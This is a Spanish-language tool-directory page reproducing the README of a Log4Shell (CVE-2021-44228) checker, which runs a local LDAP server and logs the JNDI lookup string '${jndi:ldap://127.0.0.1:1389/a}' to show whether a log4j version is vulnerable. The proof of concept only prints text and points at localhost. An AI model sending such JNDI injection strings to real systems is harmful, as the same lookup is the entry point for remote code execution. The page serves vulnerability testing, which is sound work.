Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-44228 — Verificador de la vulnerabilidad CVE-2021-44228 | Kitploit
Herramientas/GitHubGitHub/greymd/cve-2021-44228
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubgreymd/cve-2021-44228

CVE-2021-44228

Verificador de la vulnerabilidad CVE-2021-44228

Ver Repositorio
354hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Comprobador de CVE-2021-44228

Este es el repositorio para comprobar la vulnerabilidad CVE-2021-44228.

Esto es una PoC que solo muestra cadenas sin ninguna carga de clase externa. No se puede utilizar para la ejecución arbitraria de código.

¿Cómo funciona?

Paso 1: Ejecutar la aplicación del servidor

La imagen ghcr.io/greymd/cve-2021-44228/server está disponible y se puede ejecutar en Docker.

root@kitploit:~
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server

Paso 2: Acceder al endpoint con log4j

Prepare el código para generar registros usando log4j y ejecútelo en el mismo host. Genere la cadena de salida ${jndi:ldap://127.0.0.1:1389/a}.

root@kitploit:~
package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

Si el argumento es uno que causa una vulnerabilidad, la frase 「うんこもりもり」(que significa algo como "Montones de mierda") se registrará exitosamente.

root@kitploit:~
17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

Si es demasiado perezoso para escribir y compilar su código, puede usar una aplicación de registro simple en este repositorio. El primer argumento será generado por el Logger.

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello

Un ejemplo de dar un argumento que cause una vulnerabilidad sería el siguiente.

root@kitploit:~
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

Si tiene una versión de log4j que NO está afectada por la vulnerabilidad, o la aplicación del servidor no se está ejecutando, la cadena se generará tal cual sin ninguna modificación. Puede verificar esto actualizando la versión de la aplicación de registro como se muestra a continuación.

root@kitploit:~
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}

Ejecutar la aplicación del servidor sin Docker

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...

Motivación

Como mencioné (y hasta donde investigué), esta vulnerabilidad no se reproducirá a menos que el servidor de destino de JNDI esté en ejecución. Por lo tanto, una PoC simple es útil.

Referencias

Las siguientes URLs se utilizaron como referencia en la implementación.

  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/mbechler/marshalsec
  • https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  • https://github.com/apache/logging-log4j2/pull/608
  • https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept

Versiones probadas

  • OpenJDK Runtime Environment (build 1.8.0_302-b08)
  • OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)
  • OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)
Descargar herramienta